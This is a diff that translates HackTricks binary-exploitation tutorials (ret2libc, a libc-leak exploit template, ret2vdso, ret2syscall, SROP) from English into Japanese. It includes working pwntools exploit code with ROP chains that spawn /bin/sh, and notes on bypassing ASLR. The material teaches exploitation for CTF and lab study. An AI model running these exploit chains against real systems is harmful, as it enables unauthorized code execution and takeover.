+この時点で、使用されているlibcライブラリを知っている必要があります。ローカルバイナリを悪用しているので、私は次のように使用します:`/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +したがって、`template.py`の最初に**libc**変数を次のように変更します: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #ライブラリパスを知っているときに設定` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +**libcライブラリ**への**パス**を指定することで、残りの**エクスプロイトは自動的に計算されます**。 +`get_addr`関数内で**libcのベースアドレス**が計算されます: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - > [!NOTE] -> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. - -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** +> 最終的なlibcベースアドレスは**00で終わる必要があります**。そうでない場合は、間違ったライブラリを漏洩した可能性があります。 +次に、関数`system`のアドレスと**文字列**_"/bin/sh"_の**アドレス**は、**libc**の**ベースアドレス**から**計算**され、**libcライブラリ**が与えられます。 ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -228,9 +207,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +最終的に、/bin/sh 実行エクスプロイトが準備されます。 ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -240,30 +217,27 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +最後のROPについて説明しましょう。\ +最後のROP(`rop1`)は再びmain関数を呼び出し、次に**overflow**を**再利用**することができます(だから`OFFSET`がここに再びあります)。次に、`POP_RDI`を呼び出して**"/bin/sh"**の**アドレス**(`BINSH`)を指し、**system**関数(`SYSTEM`)を呼び出します。なぜなら、**"/bin/sh"**のアドレスがパラメータとして渡されるからです。\ +最後に、**exit関数のアドレス**が**呼び出され**、プロセスが**正常に終了**し、アラートが生成されません。 -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**この方法で、エクスプロイトは\_/bin/sh**\_\*\*シェルを実行します。*\* ![](<../../../../images/image (165).png>) -## 4(2)- Using ONE_GADGET +## 4(2)- ONE_GADGETの使用 -You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +**system**と**"/bin/sh"**を使用する代わりに、[**ONE_GADGET**](https://github.com/david942j/one_gadget)を使用してシェルを取得することもできます。**ONE_GADGET**はlibcライブラリ内で、1つの**ROPアドレス**を使用してシェルを取得する方法を見つけます。\ +ただし、通常はいくつかの制約があり、最も一般的で回避しやすいものは`[rsp+0x30] == NULL`のようなものです。**RSP**内の値を制御しているので、制約を回避するためにもう少しNULL値を送信するだけです。 ![](<../../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - ## EXPLOIT FILE -You can find a template to exploit this vulnerability here: +この脆弱性を悪用するためのテンプレートはここにあります: {{#ref}} rop-leaking-libc-template.md @@ -273,32 +247,26 @@ rop-leaking-libc-template.md ### MAIN_PLT = elf.symbols\['main'] not found -If the "main" symbol does not exist. Then you can find where is the main code: - +"main" シンボルが存在しない場合、メインコードの場所を見つけることができます: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +アドレスを手動で設定します: ```python MAIN_PLT = 0x401080 ``` +### Putsが見つかりません -### Puts not found - -If the binary is not using Puts you should check if it is using +バイナリがPutsを使用していない場合は、次のことを確認してください。 ### `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +すべてのエクスプロイトを作成した後にこの**エラー**が見つかった場合: `sh: 1: %s%s%s%s%s%s%s%s: not found` +**"/bin/sh"のアドレスから64バイトを引いてみてください**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index def2864f4..ef7baeab9 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,11 +1,6 @@ -# Leaking libc - template +# libcのリーク - テンプレート {{#include ../../../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ```python:template.py from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools @@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -69,11 +64,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() +# If binary is echoing back the payload, remove that message +recieved = P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() - return hex(leak) +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) print(P.clean()) @@ -189,41 +184,30 @@ P.sendline(rop2) P.interactive() #Interact with your shell :) ``` +## 一般的な問題 -## Common problems - -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code: +### MAIN_PLT = elf.symbols\['main'] が見つかりません +"main" シンボルが存在しない場合(おそらくストリップされたバイナリのため)、メインコードがどこにあるかを見つけることができます: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +アドレスを手動で設定します: ```python MAIN_PLT = 0x401080 ``` +### Putsが見つかりません -### Puts not found +バイナリがPutsを使用していない場合は、**使用しているか確認してください** -If the binary is not using Puts you should **check if it is using** +### `sh: 1: %s%s%s%s%s%s%s%s: 見つかりません` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +すべてのエクスプロイトを作成した後にこの**エラー**が見つかった場合: `sh: 1: %s%s%s%s%s%s%s%s: 見つかりません` +**"/bin/sh"のアドレスから64バイトを引いてみてください**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index a3a6c9ed5..056074f0d 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. - -Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with: +**vDSO領域にガジェットが存在する可能性があります**。これはユーザーモードからカーネルモードに切り替えるために使用されます。この種のチャレンジでは、通常、vDSO領域をダンプするためにカーネルイメージが提供されます。 +[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)の例に従って、vdsoセクションをダンプし、ホストに移動する方法を見ることができます。 ```bash # Find addresses cat /proc/76/maps @@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso file vdso ROPgadget --binary vdso | grep 'int 0x80' ``` - -ROP gadgets found: - +ROPガジェットが見つかりました: ```python vdso_addr = 0xf7ffc000 @@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` - > [!CAUTION] -> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +> したがって、**vdsoを悪用してASLRをバイパスする**ことが可能であるかもしれないことに注意してください。カーネルがCONFIG_COMPAT_VDSOでコンパイルされている場合、vdsoアドレスはランダム化されません: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) ### ARM64 -After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: +kali 2023.2 arm64でバイナリのvdsoセクションをダンプして確認したところ、スタックの値からレジスタを制御したり、retのためにx30を制御したりするための興味深いガジェットは見つかりませんでした**SROPを呼び出す方法を除いて**。ページの例からの詳細を確認してください: {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 444927dfd..ebc34ff39 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -2,26 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. +これはRet2libに似ていますが、この場合はライブラリから関数を呼び出すことはありません。この場合、`sys_execve`システムコールを呼び出すために、いくつかの引数を準備します。これにより、`/bin/sh`を実行します。この技術は通常、静的にコンパイルされたバイナリで実行されるため、多くのガジェットやシステムコール命令が存在する可能性があります。 -In order to prepare the call for the **syscall** it's needed the following configuration: +**syscall**の呼び出しを準備するためには、次の構成が必要です: -- `rax: 59 Specify sys_execve` -- `rdi: ptr to "/bin/sh" specify file to execute` -- `rsi: 0 specify no arguments passed` -- `rdx: 0 specify no environment variables passed` +- `rax: 59 sys_execveを指定` +- `rdi: "/bin/sh"へのポインタ、実行するファイルを指定` +- `rsi: 0、引数は渡さないことを指定` +- `rdx: 0、環境変数は渡さないことを指定` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. +基本的には、`/bin/sh`という文字列をどこかに書き込み、その後`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意)。これには、`/bin/sh`を既知の領域に書き込むためのガジェットが必要です。 > [!TIP] -> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +> 呼び出すのに興味深い別のシステムコールは**`mprotect`**で、これにより攻撃者は**メモリ内のページの権限を変更**することができます。これは[**ret2shellcode**](../../stack-overflow/stack-shellcode/)と組み合わせることができます。 -## Register gadgets - -Let's start by finding **how to control those registers**: +## レジスタガジェット +**これらのレジスタを制御する方法**を見つけることから始めましょう: ```bash ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +これらのアドレスを使用すると、**スタックにコンテンツを書き込み、レジスタにロードする**ことが可能です。 -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## 文字列の書き込み -## Write string - -### Writable memory - -First you need to find a writable place in the memory +### 書き込み可能なメモリ +まず、メモリ内の書き込み可能な場所を見つける必要があります。 ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -46,26 +43,20 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### メモリに文字列を書く -### Write String in memory - -Then you need to find a way to write arbitrary content in this address - +次に、このアドレスに任意の内容を書き込む方法を見つける必要があります。 ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +### ROPチェーンの自動化 -### Automate ROP chain - -The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions: - +次のコマンドは、書き込み可能なガジェットとシステムコール命令がある場合に、静的バイナリから完全な `sys_execve` ROPチェーンを作成します: ```bash ROPgadget --binary vuln --ropchain ``` - -#### 32 bits - +#### 32ビット ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -87,9 +78,7 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` - -#### 64 bits - +#### 64ビット ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -105,17 +94,15 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## ガジェットが不足している場合 -## Lacking Gadgets - -If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack: +もし**ガジェットが不足している**場合、例えばメモリに`/bin/sh`を書き込むために、スタックからすべてのレジスタ値(RIPやパラメータレジスタを含む)を制御するために**SROP技術を使用することができます**: {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} -## Exploit Example - +## エクスプロイトの例 ```python from pwn import * @@ -182,14 +169,13 @@ target.sendline(payload) target.interactive() ``` - -## Other Examples & References +## その他の例と参考文献 - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. +- 64ビット、PIEなし、nx、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。 - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused +- 64ビット、nx、PIEなし、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。スタックに書き込むために数学的操作を行う関数が悪用されます。 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64ビット、PIEなし、nx、BFカナリア、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 5b912eab8..8c549d3e5 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -2,80 +2,73 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +arm64の紹介は以下を参照してください: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## コード -We are going to use the example from the page: +私たちはページからの例を使用します: {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +PIEとカナリアなしでコンパイル: ```bash clang -o ret2win ret2win.c -fno-stack-protector ``` - ## Gadgets -In order to prepare the call for the **syscall** it's needed the following configuration: +**syscall**を呼び出すためには、以下の設定が必要です: -- `x8: 221 Specify sys_execve` -- `x0: ptr to "/bin/sh" specify file to execute` -- `x1: 0 specify no arguments passed` -- `x2: 0 specify no environment variables passed` - -Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine: +- `x8: 221 sys_execveを指定` +- `x0: "/bin/sh"へのポインタ、実行するファイルを指定` +- `x1: 0、引数は渡さないことを指定` +- `x2: 0、環境変数は渡さないことを指定` +ROPgadget.pyを使用して、マシンのlibcライブラリ内で以下のガジェットを見つけることができました: ```armasm ;Load x0, x1 and x3 from stack and x5 and call x5 0x0000000000114c30: - ldp x3, x0, [sp, #8] ; - ldp x1, x4, [sp, #0x18] ; - ldr x5, [sp, #0x58] ; - ldr x2, [sp, #0xe0] ; - blr x5 +ldp x3, x0, [sp, #8] ; +ldp x1, x4, [sp, #0x18] ; +ldr x5, [sp, #0x58] ; +ldr x2, [sp, #0xe0] ; +blr x5 ;Move execve syscall (0xdd) to x8 and call it 0x00000000000bb97c : - nop ; - nop ; - mov x8, #0xdd ; - svc #0 +nop ; +nop ; +mov x8, #0xdd ; +svc #0 ``` - -With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall. +前のガジェットを使用することで、スタックから必要なすべてのレジスタを制御し、x5を使用して2番目のガジェットにジャンプしてsyscallを呼び出すことができます。 > [!TIP] -> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. - -### Exploit +> libcライブラリからこの情報を知ることでret2libc攻撃を行うことも可能ですが、今回はこの例のために使用しましょう。 +### エクスプロイト ```python from pwn import * @@ -124,5 +117,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 20e07f3f2..b706a6fb0 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -2,25 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. +**`Sigreturn`** は、主にシグナルハンドラの実行が完了した後のクリーンアップに使用される特別な **syscall** です。シグナルは、オペレーティングシステムによってプログラムに送信される中断で、通常は何らかの例外的な状況が発生したことを示します。プログラムがシグナルを受け取ると、シグナルを処理するために **シグナルハンドラ** という特別な関数を使用して、現在の作業を一時的に中断します。 -After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. +シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように **以前の状態に戻る** 必要があります。ここで **`sigreturn`** が登場します。これは、プログラムが **シグナルハンドラから戻る** のを助け、シグナルハンドラによって使用されたスタックフレーム(関数呼び出しやローカル変数を格納するメモリのセクション)をクリーンアップすることでプログラムの状態を復元します。 -The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. +興味深いのは、**`sigreturn`** がプログラムの状態をどのように復元するかです:それは **すべてのCPUのレジスタ値をスタックに保存することによって** 行います。シグナルがもはやブロックされていないとき、**`sigreturn` はこれらの値をスタックからポップし**、実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックの現在のトップを指すスタックポインタレジスタ(RSP)が含まれます。 > [!CAUTION] -> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible 